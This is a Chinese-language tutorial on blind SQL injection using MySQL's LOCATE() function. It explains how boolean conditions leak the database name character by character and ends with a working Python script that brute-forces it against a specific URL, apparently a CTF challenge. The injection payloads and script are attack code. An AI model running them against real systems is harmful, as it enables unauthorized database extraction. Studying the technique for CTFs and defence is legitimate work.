Locate()
LOCATE(substr,str) , LOCATE(substr,str,pos)
第一个语法返回字符串 str中子字符串substr的第一个出现位置。第二个语法返回字符串 str中子字符串substr的第一个出现位置, 起始位置在pos。如若substr 不在str中,则返回值为0。
这里主要利用第二个语法进行报错注入:
假设数据库名为security
首先从最基本的:
locate(‘s’,(select database()),1)
表示查询数据库名,并且是从第一位开始,返回字符s第一次出现的位置。
但是仅凭这一句是无法获取特别有用的信息的,但是可以在构造
locate(‘s’,(select database()),1)=1
查询数据库名的第一位开始,如果存在s,并且s的位置等于1,那么等式成立。
综合利用:
select username from security.users where id=1 and (locate(‘s’,(select database()),1)=1)
如果返回值正常,我们就可以认为第一位是s,同理构造
select username from security.users where id=1 and (locate(‘X’,(select database()),n)=n)
将x遍历,n从1开始增加,即可。
不过还有个问题:mysql对字段名的大小写是不敏感的,也就是说会同时出现S和s 满足,都会被记录。
这里可以用binary修饰,表示二进制
select username from security.users where id=1 and (locate(binary’X’,(select database()),n)=n)
转载指明出处
文章同步到我的博客:http://119.23.249.120/archives/271
附上脚本:
import requests rs = requests.session() url0="http://120.24.86.145:9004/Once_More.php" def locate(): flag = '' for j in range(1, 100): char_all = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~' key = 0 for i in char_all: url = url0+"?id=1'and (select locate(binary'" + str( i) + "',(select database() limit 0,1)," + str( j) + "))=" + str(j) + "%23" r1 = rs.get(url) print (url) if "Hello" in r1.text: print(str(i) + " -----" + str(j)) flag += str(i) print("[*] : " + flag) key = 1 if key == 0: break locate()